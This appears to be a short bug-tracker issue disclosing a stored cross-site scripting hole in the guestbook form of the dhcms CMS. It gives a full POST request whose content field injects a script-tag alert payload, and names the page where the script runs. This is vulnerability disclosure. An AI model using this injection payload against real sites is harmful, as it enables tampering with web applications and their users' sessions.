Open
Description
Holes for details:
in guestbook
`http://192.168.3.56/dhcms/api.php?r=dhcms/Form/push
POST:
content=1'"()%26%25<ScRiPt%20>alert(5555)</ScRiPt>&email=sample%40email.tst&keyword=e&model=1&name=e&table=guestbook&token=+7c817f9ed88f10ea0b0070efe974c29c+`
you can Executed alert。
http://192.168.3.56/dhcms/index.php?r=DhCms/Form/index&name=guestbook
Metadata
Metadata
Assignees
Labels
No labels

